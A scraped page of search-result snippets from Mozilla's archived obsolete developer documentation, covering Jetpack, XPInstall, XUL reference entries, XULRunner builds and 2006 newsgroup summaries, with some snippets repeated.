...jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
Clipboard - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
...the api is fairly straightforward; examples can be found here.
...remember to import clipboard from the future before calling it.
Clipboard Test - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
...the api is fairly straightforward; examples can be found here.
... jetpack.future.import("clipboard"); methods additional information can be found at clipboard api proposal ...
Clipboard - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
...the api is fairly straightforward; examples can be found here.
...remember to import clipboard from the future before calling it.
Enabling Experimental Jetpack Features - Archive of obsolete content
ArchiveMozillaJetpackdocsMetaFuture
in python, you can call from __future__ import foo which adds the functionality that foo yields to the script.
... in jetpack, we propse adding a new function to the base namespace called importfromfuture.
...jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
Clipboard - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
...the api is fairly straightforward; examples can be found here.
...remember to import clipboard from the future before calling it.
Installer - Archive of obsolete content
this means that when you double-click or launch a *.webapp file, prism is launched and automatically opens the web application.
... current windows and mac installs automatically associate *.webapp with prism.
... one interesting side effect is that after this change, you can select a link to a .webapp file in a web page and you get it run by prism - in ie this runs anywhere, but this won't work in firefox unless the webapp is being issued with an appropriate mime type on the server: application/x-webapp works (see an example ).
Running Windows Debug Builds Downloaded From Tinderbox - Archive of obsolete content
if you run the windows debug builds you will often get "this application has failed to start because the application configuration is incorrect..." this is because the debug builds need the msvc80 crt debug dlls.
... you can see this by looking in at firefox.exe with http://www.dependencywalker.com/.
...to run tests of the tests package you can, for example, run the reftests as follows: python reftest/runreftest.py --appname=firefox/firefox.exe --utility-path=bin --extra-profile-file=bin/plugins reftest/tests/layout/reftests/reftest.list ...
Same origin policy for XBL - Archive of obsolete content
for the nsidomdocumentxbl interface's nsidomdocumentxbl.addbinding() and nsidomdocumentxbl.loadbindingdocument() methods, the originating principal is the one of the script making the call, or the principal of the document the call is made on if there isn't a script.
...a call to checloaduriwithprincipal() is done to make sure the principal is able to link to the given uri in the first place.
...note that step 2 already denied the load attempt for cases in which the chrome: uri isn't accessible to untrusted content.
Stress testing - Archive of obsolete content
tools for microsoft windows consume.exe from the windows server 2003 resource kit tools can consume various resources: physical memory, cpu time, page file, disk space and even the kernel pool.
...the only downside is you can't specify how much of the resource to use, only which one to consume.
... also be warned: always remember the -time option, or you may be hitting that physical reset button sooner than you would have liked!
Table Cellmap - Border Collapse - Archive of obsolete content
as one can see from the following illustration this is enough to cover a whole table.
...it can have 4 values: ns_side_top ns_side_right ns_side_bottom ns_side_left the size of the smaller border that goes into that corner.
... if this corner is a start for a horizontal segment, if this corner is a start for a vertical segment, if this corner should be beveled.
Using cross commit - Archive of obsolete content
using the script quick overview there are a couple of common ways to use cross-commit: land something simultaneously on the trunk and mozilla_1_8_branch # modify the files (probably by applying the patch) patch -p0 < ~/caret.patch # commit on trunk and branch at once # make sure to use -m "commit message" when doing so tools/cross-commit -m "fix some sort of security bug" layout/base/nscaret.h land something on two other branches that has already landed on the trunk # update to the first branch you want to land on cvs update -rmozilla_1_8_branch layout/base/nscaret.h # modify the files (probably by appl...
...ying the patch) patch -p0 < ~/caret.patch # commit on all the branches at once # make sure to use -m "commit message" when doing so tools/cross-commit --moz18 --branch mozilla_1_8_0_branch -m "fix some sort of security bug" layout/base/nscaret.h notes note that you must use a -m option with a cvs checkin message.
...you can list the files/directories you want it to commit on the command line or leave them out and let it recursively troll the current directory.
DOM Interfaces - Archive of obsolete content
typically used with an (arbitrary) anonid attribute to retrieve a specific anonymous child in an xbl binding.
... loadbindingdocument the loadbindingdocument method can be used to synchronously obtain the specified binding document for use within a particular document (the one on which the loadbindingdocument method was invoked).
... the binding document can then be modified programmatically using the dom.
Mac stub installer - Archive of obsolete content
described under the [xpcom] section in: <http://lxr.mozilla.org/seamonkey/sou...ackages-mac#33> note that if you are using the debug target of the installer binary all shared libraries are expected to have the name format <libname>debug.shlb now set a break point at xpi_init() in the mac installer code and step into xpistub and eventually the xpinstall engine will load including symbols so you can set a break point in the xpinstall engine itself.
... add an <component>.jst install script template file (the jst extension stands for javascript template indicating this is a template for the final install.js for the <component>.xpi.
... once you add the section to the packages-mac file the release automation will automatically generate an xpi for your module with a dummy install.js.
Windows stub installer - Archive of obsolete content
the jst extension stands for javascript template indicating this is a template for the final install.js for the <component>.xpi.
... other macro strings listed in makejs.pl can be found by searching for "version", which is one of the macro strings, until you find the line $line =~ s/\$version\$/$inversion/i; other macro strings are grouped in this section.
... finally add <component> to the component list array @gcomponentlist at: <http://lxr.mozilla.org/seamonkey/sou...makeall.pl#125> you can test it by changing your current working directory to mozilla/xpinstall/wizard/windows/builder and running "perl build.pl" on the shell prompt.
toString - Archive of obsolete content
method of installversion object syntax string version = installversion.tostring ( initobj ); parameters the tostring method has the following parameter: initobj initobj is an installversion object whose init method has been called.
...the init() function can input the version number as a single string or as a series of parameters representing the version numbers of the installation.
... to get the version number out of an installversion object in order to compare it with other versions, you can call tostring() and get back the version as a string in the format "maj.min.rev.bld." example var vi = new installversion(); vi.init("999.888.777.666"); //random string vistring = vi.tostring(); ...
deleteRegisteredFile - Archive of obsolete content
deleteregisteredfile (netscape 6 and mozilla do not currently support this method.) deletes the specified file and removes its entry from the client version registry.
...if the file is currently being used, the name of the file that is to be deleted is saved and netscape 6 attempts to delete it each time it starts up until the file is successfully deleted.
... this method is used to delete files that cannot be removed by the uninstall method or to remove files that are no longer necessary or whose names have changed.
getComponentFolder - Archive of obsolete content
this parameter is available in netscape 6 and may be case sensitive (depending on the operating system).
... description the getcomponentfolder method to find the location of a previously installed software package.
... typically, you use this method with the addfile method or the adddirectory method.
getLastError - Archive of obsolete content
description use getlasterror method to obtain the most recent nonzero error code since initinstall or reseterror were called.
... this method allows you to defer checking for error codes each time you call addfile or adddirectory until the last addfile or adddirectory call.
...example the following example calls getlasterror after a series of addfile calls: addfile("npplug", ...); addfile("/ms/shared/ctl3d.dll", ...); addfile("/nethelp/royalplug/royalhelp.html",...); err = getlasterror(); ...
performInstall - Archive of obsolete content
moves all components to their final locations, launches any pending executions, and registers the package and all of its subcomponents in the client version registry.
...in a few cases you may get a registry error.
...err = getlasterror(); if (!err) performinstall(); else cancelinstall(err); ...
setPackageFolder - Archive of obsolete content
when the package folder is set, it is used as the default for forms of addfile and other methods that have an optional localdirspec parameter.
... you should only call this method once, and you should always call it immediately after you call initinstall.
... if you call setpackagefolder multiple times, the last folder set is the folder that is saved in the client version registry and used as the default for other installations.
enumKeys - Archive of obsolete content
method of winreg object syntax string enumkeys ( string key, int subkeyindex ); parameters the enumkeys method has the following parameters: key the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
...description enumkeys can be used to iterate through the subkeys at a given key location.
...var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); var index = 0; var basekey = "software\\mozilla"; while ( (mozillaversion = winreg.enumkeys(basekey,index)) != null ) { logcomment("mozillaversion = " + mozillaversion); subkey = basekey + "\\" + mozillaversion + "\\extensions"; pluginsdir = winreg.getvaluestring ( subkey, "plugins" ); if ( pluginsdir ) logcomment("pluginsdir = " + pluginsdir); else logcomment("no plugins dir for " + basekey + "\\" + mozillaversion); index++; } ...
enumValueNames - Archive of obsolete content
method of winreg object syntax string enumvaluenames ( string key, int subkeyindex ); parameters the enumvaluenames method has the following parameters: key the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
...description enumvaluenames can be used to iterate through the values for a given key.
...var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); v1 = winreg.enumvaluenames("software\\mozilla\\", 0); logcomment("the first subkey value of the mozilla key: " + v1) ...
XPInstall - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...<?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- properties --> </description> </rdf> cross-platform install (xpinstall) is a technology used by mozilla application suite, mozilla firefox, mozilla thunderbird and other xul-based applications for installing extensions.
... creating xpi installer modules this article describes the packaging scheme of the mozilla and offers a tutorial for creating a new package that can then be redistributed, installed, and made available to users.
XTech 2006 Presentations - Archive of obsolete content
svg and canvas: graphics for web apps - vladimir vukićević this presentation examines some of the strengths and weaknesses of the html 'canvas' and svg for adding rich graphical capabilities to web applications.
... future browser graphics capabilities, both 2d and 3d, are also discussed.
... converging rich-client and web application development with mozilla xulrunner (open office format) - benjamin smedberg this presentation demonstrates the convergence of rich-client and web application development and discuss application deployment using mozilla xulrunner.
crop - Archive of obsolete content
ArchiveMozillaXULAttributecrop
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
...for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } ...
datasources - Archive of obsolete content
these can be either internal datasources such as rdf:bookmarks or a url.
...this will make the element so that its contents can be generated from a datasource.
... otherwise, you cannot add one later.
datepicker.type - Archive of obsolete content
« xul reference home type type: one of the values below you can set the type attribute to one of the values below to specify the type of datepicker to use normal a datepicker with three fields for entering the year, month and date.
... grid a datepicker that displays a calendar grid where one month is shown at a time.
... popup a datepicker with three entry fields but an additional dropdown button, which, when pressed, will display a popup calendar grid.
dlgtype - Archive of obsolete content
you can use this feature to replace the standard dialog box buttons with custom buttons, yet the dialog event methods will still function.
...the following values can be used as the dialog type: accept the ok button, which will accept the changes when pressed.
... cancel the cancel button which will cancel the operation.
icon - Archive of obsolete content
ArchiveMozillaXULAttributeicon
some platforms display these buttons with a small icon indicating their usage.
...possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, properties, select-font, select-color, network.
... if you are using a button that matches one of these common usages, use the icon attribute to indicate this.
id - Archive of obsolete content
ArchiveMozillaXULAttributeid
« xul reference home id type: unique id a unique identifier so that you can identify the element with.
... you can use this as a parameter to getelementbyid() and other dom functions and to reference the element in style sheets.
...button id="foo" label="click me" oncommand="dosomething()"/> <script> function dosomething(){ var mybutton = document.getelementbyid('foo'); mybutton.setattribute('label','the button was pressed'); } </script> a more abstract version of the above would be a <button id="foo" label="click me" oncommand="setwidgetlabel(this, 'i was pressed')"/> <script> function setwidgetlabel(idname, newcaption){ document.getelementbyid( idname.id ).setattribute('label',newcaption) } </script> not specifying the id attribute for a window or a prefwindow fills the console with the following warning message: warning: empty string passed to getelementbyid() see also name ...
modifiers - Archive of obsolete content
on macintosh this can only be used in conjunction with another modifier, since alt+letter combinations are reserved for entering special characters in text.
...this shouldn't be specified directly because it may conflict with system wide shortcut key.
... any: indicates that all modifiers preceding it are optional.
orient - Archive of obsolete content
« xul reference home orient type: one of the values below used to specify whether the children of the element are oriented horizontally or vertically.
...you can also use the -moz-box-orient style property.
... vertical child elements of the element are placed under each other in a column in the order that they appear in the xul source.
pack - Archive of obsolete content
ArchiveMozillaXULAttributepack
for boxes with horizontal orientation, it is used to indicate the position of children horizontally.
... for boxes with vertical orientation, it is used to indicate the position of children vertically.
...you can also specify the value of pack using the style property -moz-box-pack.
reserved - Archive of obsolete content
setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content.
... currently, the content still receives these key events, even though it can't override them.
...in future releases, the event handler will never be called for the given keyboard shortcut.
separator.orient - Archive of obsolete content
« xul reference home orient type: one of the values below used to specify whether the separator is a horizontal or vertical separator.
... horizontal the separator separates vertically placed elements.
... vertical the separator separates horizontally placed elements.
spellcheck - Archive of obsolete content
if not specified, this defaults to false the html the spellcheck attribute uses values of true or false (you cannot simply add the spellcheck attribute to a given element): <!-- spellcheck everything!
...--> <input type="text" spellcheck="false" /><br /> <textarea spellcheck="false"></textarea> <div contenteditable="true" spellcheck="false">i am some content</div> you can use spellcheck on input, textarea, and contenteditable elements.
... thespellcheck attribute works well paired with the autocomplete, autocapitalize, and autocorrect attributes too!
state - Archive of obsolete content
« xul reference home state type: one of the values below indicates whether the splitter has collapsed content or not.
... this attribute will be updated automatically as the splitter is moved, and is generally used in a stylesheet to apply a different appearance for each state.
... dragging the user is current adjusting the position of the splitter, typically by dragging it with the mouse.
popupshowing - Archive of obsolete content
the default action of the event can be prevented to prevent the popup to appear.
... general info specification xul interface popupevent bubbles yes cancelable yes target element default action a popup is displayed properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
startFind - Archive of obsolete content
« xul reference home startfind( mode ) return type: no return value call this method to handle your application's "find" command.
... the first time this is called for a given findbar, the findbar will flash to draw attention to itself.
... example typically, you'll simply bind this method to your "find" command, like this: <command name="cmd_find" oncommand="gfindbar.startfind(gfindbar.find_normal);"/> ...
advance - Archive of obsolete content
ArchiveMozillaXULMethodadvance
« xul reference home advance( pageid ) return type: no return value call this method to go to the next page.
...the canadvance property must be set to true for the page to be changed.
... the code in the onwizardnext attribute is called before the page is changed.
getFormattedString - Archive of obsolete content
« xul reference home getformattedstring( key, strarray ) return type: string looks up the format string for the given key name in the string bundle and returns a formatted copy where each occurrence of %s (uppercase) is replaced by each successive element in the supplied array.
...%1$s, %2$s, etc.) can be used to specify the position of the corresponding parameter explicitly.
... if you need to handle substitutions involving plurals, take a look at localization and plurals.
openPopup - Archive of obsolete content
« xul reference home openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return value opens the popup relative to a specified node at a specific location.
...to anchor a popup to a node, supply an anchor node and set the position to a string indicating the manner in which the popup should be anchored.
...in this case, the position and attributesoverride arguments are ignored.
rewind - Archive of obsolete content
ArchiveMozillaXULMethodrewind
« xul reference home rewind() return type: no return value call this method to go back a page.
...the canrewind property must be set to true for the page to be changed.
... the code in the onwizardback attribute is called before the page is changed.
Methods - Archive of obsolete content
« xul reference home acceptdialog additemtoselection addpane addprogresslistener addsession addtab addtabsprogresslistener advance advanceselectedtab appendcustomtoolbar appendgroup appenditem appendnotification blur cancel canceldialog centerwindowonscreen checkadjacentelement clearresults clearselection click close collapsetoolbar contains decrease decreasepage docommand ensureelementisvisible ensureindexisvisible ensureselectedelementisvisible expandtoolbar extra1 extra2 focus getbrowseratindex getbrowserfordocument getbrowserfortab getbrowserindexfordocument getbutton getdefaultsession geteditor getelementsbyattribute getelementsbyattributens getformattedstring gethtmleditor getindexoffi...
...rstvisiblerow getindexofitem getitematindex getnextitem getnotificationbox getnotificationwithvalue getnumberofvisiblerows getpagebyid getpreviousitem getresultat getresultcount getresultvalueat getrowcount getsearchat getselecteditem getsession getsessionbyname getsessionresultat getsessionstatusat getsessionvalueat getstring goback gobackgroup godown goforward goforwardgroup gohome goto gotoindex goup hidepopup increase increasepage insertitem insertitemat invertselection loadgroup loadonetab loadtabs loaduri loaduriwithflags makeeditable movebyoffset moveto movetoalertposition onsearchcomplete ontextentered ontextreverted openpopup openpopupatscreen opensubdialog openwindow preferencefo...
...relement reload reloadalltabs reloadtab reloadwithflags removeallitems removeallnotifications removealltabsbut removecurrentnotification removecurrenttab removeitemat removeitemfromselection removenotification removeprogresslistener removesession removetab removetabsprogresslistener removetransientnotifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange selecttabatindex setselectionrange showpane showpopup sizeto startediting stop stopediting swapdocshells syncsessions timedselect toggleitemselection related dom element methods dom:element.addeventlistener dom:element.appendchild dom:element.comparedocumentposition dom:element.dispatche...
Toolbar customization events - Archive of obsolete content
you can use window.addeventlistener() to listen for these events in order to keep abreast of changes to toolbars.
... in all cases, the event.target is the toolbox being customized.
... you can look at the contents of that element and its children to determine what changes were made.
Toolbars - Archive of obsolete content
toolbar customization events a look at the events that are sent during toolbar customization; you can use these to be kept aware of changes to toolbars.
... creating toolbar buttons how to use overlays to add toolbar buttons to mozilla applications.
... custom toolbar button another example of how to create a toolbar button, complete with a sample extension you can download and try.
XUL Tutorial - Archive of obsolete content
this language was created for the mozilla application and is used to describe its user interface.
...x model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event handlers more event handlers keyboard shortcuts focus and selection commands updating commands broadcasters and observers document object model document object model modifying a xul interface manipulating lists box objects xpcom interfaces xpcom examples trees trees more tree features tree selection custom tree views tree view details tree box objects rdf and templates introduction to rdf templates trees and templates rdf datasources advanced rules persistent data s...
...kins and locales adding style sheets styling a tree modifying the default skin creating a skin skinning xul files by hand localization property files bindings introduction to xbl anonymous content xbl attribute inheritance adding properties adding methods adding event handlers xbl inheritance creating reusable content using css and xbl xbl example specialized window types features of a window creating dialogs open and save dialogs creating a wizard more wizards overlays cross package overlays installation creating an installer install scripts additional install features this xul tutorial was originally created by neil deakin.
Using spell checking in XUL - Archive of obsolete content
this document describes how to use the mozispellcheckingengine component to add spell checking capabilities to your firefox extension.
... checking the spelling of a word to check the spelling of a word, you must first create an interface to the mozispellcheckingengine component and then call the check() method on the string you wish to test.
... .getservice(components.interfaces.mozipersonaldictionary); if (mpersonaldictionary.check("kat", gspellcheckengine.dictionary)) { // it's spelled correctly accourdly to user personal dictionary } else { // it's spelled incorrectly } } getting a list of suggestions to get a list of suggestions for a misspelled word, you call the suggest() method, specifying the word and an object to be filled with an array of possible suggestions.
XUL FAQ - Archive of obsolete content
this document contains answers to frequently asked questions about xul, mozilla's markup language for describing application's user interface.
... if your question is not answered here, you can try looking for the answer in the xul documentation or ask in the xul newsgroup.
... are there decent visual editors for laying out xul applications?
box - Archive of obsolete content
ArchiveMozillaXULbox
« xul reference home [ examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
...if orient is set to vertical, the child elements are laid out from top to bottom.
... examples <box orient="horizontal"> <label value="zero"/> <box orient="vertical"> <label value="one"/> <label value="two"/> </box> <box orient="horizontal"> <label value="three"/> <label value="four"/> </box> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, re...
conditions - Archive of obsolete content
within the conditions can be placed content, member and triple elements.
...if all variables can be replaced, the rule matched.
... examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , al...
dialogheader - Archive of obsolete content
start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
... end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales.
...for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } description type: string descriptive text to appear in addition to the dialog title.
promptBox - Archive of obsolete content
method overview nsidomelement appendprompt(args, onclosecallback); void removeprompt(nsidomelement aprompt); nodelist listprompts(nsidomelement aprompt); methods appendprompt() creates a new prompt, adding it to the tab.
... nsidomelement appendprompt( args, onclosecallback ); parameters args arguments for the prompt.
... onclosecallback the callback routine to be called when the prompt is closed.
script - Archive of obsolete content
usually, you would set this to application/javascript.
... note: if the javascript file is in chrome://, setting this attribute to application/javascript will always use the latest available javascript version.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allo...
stack - Archive of obsolete content
ArchiveMozillaXULstack
the bottom and right attributes can also be used in conjunction with top and left to set the width and/or height of the children of the stack.
... in some case, setting the width or height this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredictable and undesireable results.
...--> </hbox> </stack> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
textnode - Archive of obsolete content
in the case of the textnode element, the entire node is replaced with text corresponding to the result of the value attribute.
...this value should be an rdf property (predicate).
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxw...
toolbaritem - Archive of obsolete content
the element is used, for example, to hold the location bar's textbox in firefox.
... it is also used to group buttons together so they can be added and removed all at once like firefox's unified-back-forward-button.
... examples <toolbaritem> <menulist label="bus"> <menupopup> <menuitem label="car"/> <menuitem label="taxi"/> <menuitem label="bus" selected="true"/> <menuitem label="train"/> </menupopup> </menulist> </toolbaritem> <toolbaritem id="sample-toolbutton-unified"> <toolbarbutton id="myext-button1" class="toolbarbutton-1" label="label1" /> <toolbarbutton id="myext-button2" class="toolbarbutton-1" label="labe2l" /> </toolbaritem> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, m...
treeitem - Archive of obsolete content
the treeitem can be clicked by the user to select the row of the tree.
... attributes container, empty, label, open, uri examples (example needed) attributes container type: boolean set to true if the element is to act as a container which can have child elements.
... label tipo: string (concatenación de caracteres) para un árbol tree con columnas simples, la etiqueta puede ser colocada directamnete sobre el elemeto "treeitem" sin la necesidad de una fila "row" y un elemento "treeitem" dentro.
vbox - Archive of obsolete content
ArchiveMozillaXULvbox
« xul reference home [ examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
... this is equivalent to the box element, except it defaults to vertical orientation.
... example <!-- two labels at bottom --> <vbox> <spacer flex="1"/> <label value="one"/> <label value="two"/> </vbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align...
Building XULRunner - Archive of obsolete content
xulrunner is built using basically the same process as firefox or other applications.
... a basic minimal mozconfig which will build a release configuration of xulrunner is: mk_add_options moz_co_project=xulrunner mk_add_options moz_objdir=@topsrcdir@/obj-xulrunner ac_add_options --enable-application=xulrunner #uncomment the following line if you don't want to build javaxpcom: #ac_add_options --disable-javaxpcom cvs tags and xulrunner versions older xulrunner releases where tagged in cvs with (for instance xulrunner_1_8_0_5_release ) up to version 1.8.0.5 the cvs repository does not have specific tags for xulrunner anymore.
... you can also check the user agent string in firefox help/about menu to get the mapping from a certain binary firefox version to the corresponding xulrunner version.
Components - Archive of obsolete content
for new components or interface changes of existing ones to be noticed at all, you need to change the buildid in application.ini to trigger a re-registration of the components.
... alternatively, you can delete compreg.dat and xpti.dat in the user profile directory - that of your xulrunner app, not that of firefox/mozilla.
... it's named after your vendor and app name in application.ini, e.g.
toolkit.singletonWindowType - Archive of obsolete content
preference type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.singletonwindowtype", "xulmine"); by default, the toolkit.defaultchromeuri preference will cause xulrunner to open a new main application window each time an application is invoked.
... the toolkit.singletonwindowtype preference causes xulrunner to search for a window with the attribute windowtype as specified in this preference (e.g.
...more information on this can be found in bug 317811.
xbDesignMode.js - Archive of obsolete content
* * the original code is netscape cross browser design mode code.
... * * the initial developer of the original code is * netscape communications corporation.
... * * contributor(s): doron rosenberg <doron@netscape.com> (original author) * * * * ***** end license block ***** */ /* xbdesignmode a javascript wrapper for browsers that support designmode */ function xbdesignmode(aiframe){ this.meditordocument = null; this.miframeelement = null; // argument is a string, therefore an id if ( (typeof(aiframe) == "string") && (document.getelementbyid(aiframe).tagname.tolowercase()=="iframe") ){ this.miframeelement = document.getelementbyid(aiframe); } else if( (typeof(aiframe)=="object") && (aiframe.tagname.tolowercase() == "iframe") ){ this.miframeelement = aiframe; } else { throw "argument isn't an ...
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
discussions firefox trunk and rc1 slowdown using tabs discussion regarding certain theme components (specifically alpha-transparency) creating a high cpu load on os/2.
... title case capitalization rules in firefox discussion regarding rules for capitalizing the first letter of firefox menu items in the ff ui.
...reload from cache discussion regarding the lack of user understanding regarding reloading and reloading from the cache and how to address it.
2006-10-06 - Archive of obsolete content
discussions w3c sets road map for web app accessibility the w3c introduced its wai-aria (web accessibility initiative for accessible rich internet applications) roadmap--a set of guidelines for developers to make accessible web content.
... this set of documents tackles some of the difficulties that ajax has been causing with regards to accessibility.
...other links of interest: roadmap for accessible rich internet applications (wai-aria roadmap) roles for accessible rich internet applications (wai-aria roles) states and properties module for accessible rich internet applications (wai-aria states and properties) making ajax work with screen readers meetings accessibility hackfest 2006 - october 10-12 in cambridge, ma (more details) participants include the mozilla foundation, ibm, sun and novell to name a few.
2006-11-10 - Archive of obsolete content
publication for the first issue is expected in fall 2007.
... w4a 2007 first call for papers the fourth international cross-disciplinary cofnerence on web accessibility (w4a 2007) co-located with the sixteenth international world wide web conference (www2007), in banff, canada.
... important dates: technical submissions: monday 19th feb 2007 technical paper notification: friday 16th march 2007 communication submissions: monday 26th march 2007 communication paper notification: friday 06th april 2007 all camera ready due: monday 16th april 2007 conference dates: monday 07th and tuesday 08th may 2007 notable keynotes representatives from w3c, ibm, university of manchester, uk and oxford brookes university, uk.
2006-10-06 - Archive of obsolete content
discussions firefox trunk and rc1 slowdown using tabs discussion regarding certain theme components (specifically alpha-transparency) creating a high cpu load on os/2.
... title case capitalization rules in firefox discussion regarding rules for capitalizing the first letter of firefox menu items in the ff ui.
...reload from cache discussion regarding the lack of user understanding regarding reloading and reloading from the cache and how to address it.
2006-10-20 - Archive of obsolete content
jesper kristensen pointed the requester here change download action for .rdp files on windows and os x a question regarding enabling firefox to associate .rdp files with microsoft remote desktop client so that the correct application opens the files automatically.
... method shouldload in "content-policy" category problem ?
... question regarding how to make a firefox extension that would insert an image next to all links in the loaded web pages similar to the mcafee siteadvisor extension.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - september 30-october 06, 2006 announcements mac user needed scott macgregor announced that .mac support and a dynamically add isp account feature has been added to the thunderbird account manager, however, testing is required before release can be issued.
... discussion highlights: ziga sancin suggests writing an introductory article for potential developers containing basic project information (history, list of main developers, project goals, roadmap and available communication channels, etc), tools needed to start developing and building tb, documentation on source structure as well as links to help one get started on the project.
... cédric corazza recommends that the proposed documention should be made available on the l10n cvs once it reaches a decent stage so that localizers can get a head-start on the localization before the final version is made available.
2006-10-06 - Archive of obsolete content
in order to fix this he deleted the tree part where host_xpidl was located.
... announcements new svg build dependency coming on october 2nd t rowley announced that: soon svg on the trunk will be switching to use thebes directly (instead of the current choice of direct cairo or punching a hole through thebes to cairo).
... once completed you will need to build cairo gfx in order to build svg.
2006-11-17 - Archive of obsolete content
in the latter case, you may want to edit the gtk-config script: /usr/bin/gtk-config configure: error: test for gtk failed bryan is asking for help as he is confused and has no idea what is causing the build process to fail.
...paul reed announced that: there was a power outage at his office and the machines, which are responsible for running autoconf (configure.in -> configure), located in his office failed to boot up after power was restored.
...he also warns that there will be another outage which will cause the servers in his office as well as all tinderboxes to go down.
2006-10-20 - Archive of obsolete content
feedback from localizers regarding sunbird/lightning 0.3 release the sunbird/lightning developers are requesting feedback on release 0.3.
... firefox rc 3 is there, staging servers, too firefox rc3 build is located here.
...meeting minutes is located here.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.l10n - november 24, 2006 announcements thunderbird 2 release schedule for localizations beta 1 freeze for thunderbird 2 is scheduled on december 4th (en-us only).
... approval queue for fx 2.0.0.1 closing closing the approval queue for firefox 2.0.0.1 discussions quality of localized builds and process requirements quality of localized builds and process requirements the translate toolkit mdnto po: its current state and how to use it discussion on clarifications on translate toolkit to avoid confusion.
...live titles there seems to be a few locales that use "summary" or a translation thereof instead of "live titles" to name the ui part of microsummaries.
2006-11-3 - Archive of obsolete content
1.0.6 build is located here, and 1.1 beta build is located here.
... discussions last check-ins on sun-calendar-event-dialog.* files last check-ins on sun-calendar-event-dialog.* files from 50 to 100 locales how to get from the 50 locales and releasing 40 to a hundred.
